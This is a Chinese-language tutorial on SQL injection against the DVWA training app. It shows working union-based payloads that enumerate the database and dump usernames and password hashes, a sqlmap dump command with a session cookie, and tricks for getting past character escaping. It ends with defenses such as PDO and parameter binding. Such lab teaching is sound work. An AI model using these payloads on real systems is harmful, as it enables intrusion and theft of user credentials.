1. SQL注入原理和流程
攻击者在HTTP请求中注入恶意的SQL代码,服务器使用参数构建数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行。
输入恶意的sql语句导致原有的sql语句被改变
输入一段sql语句导致原有的开发者写的sql语句发生改变。
DVWA之SQL注入漏洞
(1)low级别
query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$id是用户输入内容
如何判断存在sql注入漏洞:
用户输入数据为 1’ and 1=1#,这时SQL语句发生变化,在原有查询完成后会判断 1=1,如果判断正确则才会有输出[#作用是注释(移除)后续SQL语句]
想要拿到数据库中的用户数据过程:
1.判断数据库的列数
order by
在用户输入中依次增加order by后面的数据,当在输入为 1’ order by 3#时网页出现报错,证明该数据库有2列/字段
2.联合查询其他信息 union select [sql1] [sql2]
SELECT first_name, last_name FROM users WHERE user_id = ‘1’ union select user(),database()#’;
用户输入SQL语句,执行了Mysql内置函数user()和database()
user():返回当前数据库连接用户
database():返回当前数据库名称
3. 联合查询表
union select table_name,table_schema from information_schema.tables where table_schema='[database_name]'
一个数据库可以看作多个excel表
在DVWA中输入图片中红色代码,从information_schema数据库中查询dvwa数据库表
出现如下图画面,表示DVWA中有2个表,一个为guestbook,另一个users
1' union select 1,column_name from information_schema.columns where table_name='users'#
- 联合查询信息 union [query_sql]
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#'
在dvwa中low级别的对话框中输入1’ union select user,password from users#出现结果如下图所示。
SQLmap
SQLmap官网:https://sqlmap.org/
下载方法:
1.可下载源代码,直接使用python运行sqlmap.py
2.安装kali,自带sqlmap,可以直接输入sqlmap执行
SQLmap自动化SQL注入利用过程一般如下
第一步:检测漏洞
出现下图的结果,说明存在sql注入漏洞
第二步 获取数据库名
出现结果如图所示:
第三步:获取指定数据库表
出现结果如图所示:
第四步:获取指定数据库列/表项
第五步:获取数据
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=4448pso2ucg5bhs3k874h3n9j5; SL_G_WPT_TO=zh; SL_GWPT_Show_Hide_tmp=1; SL_wptGlobTipTmp=1; security=low" -D dvwa -T users --dump
直接读取users表中的所有数据,可用–dump
结果如图所示:
SQL注入防御
防御命令执行的最高效的方法,就是过滤用户输入内容,不让输入sql语句
(1)DVWA medium转义了特殊字符
列如:将
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.talbes where table_schema='users'#'
变为了
SELECT first_name, last_name FROM users WHERE user_id = '1\' union select table_name,table_schema from information_schema.talbes where table_schema=\'users\#'
在输入的’前面都添加了一个\,SQL语句中不存在 \ 这个符号
渗透测试解决上面的防御方法:
在输入的内容中避免特殊字符的存在
把带‘’的地方进行等价替换,如将’dvwa’ 替换为database()
在mysql中对于查询的value可替换为16进制,如将’dvwa’ 替换为 0x64767761
(2)SQL注入防御high
对于输入长度做了限制
但缺少传入数据的过滤,无法防御注入漏洞.
SQL注入的防御 impossible级别
防御SQL注入:使用PDO,配合正确的过滤和sql语句就可避免SQL注入漏洞的产生
(a)过滤
限制输入内容必须为数字
在参数绑定中避免了其他语句的产生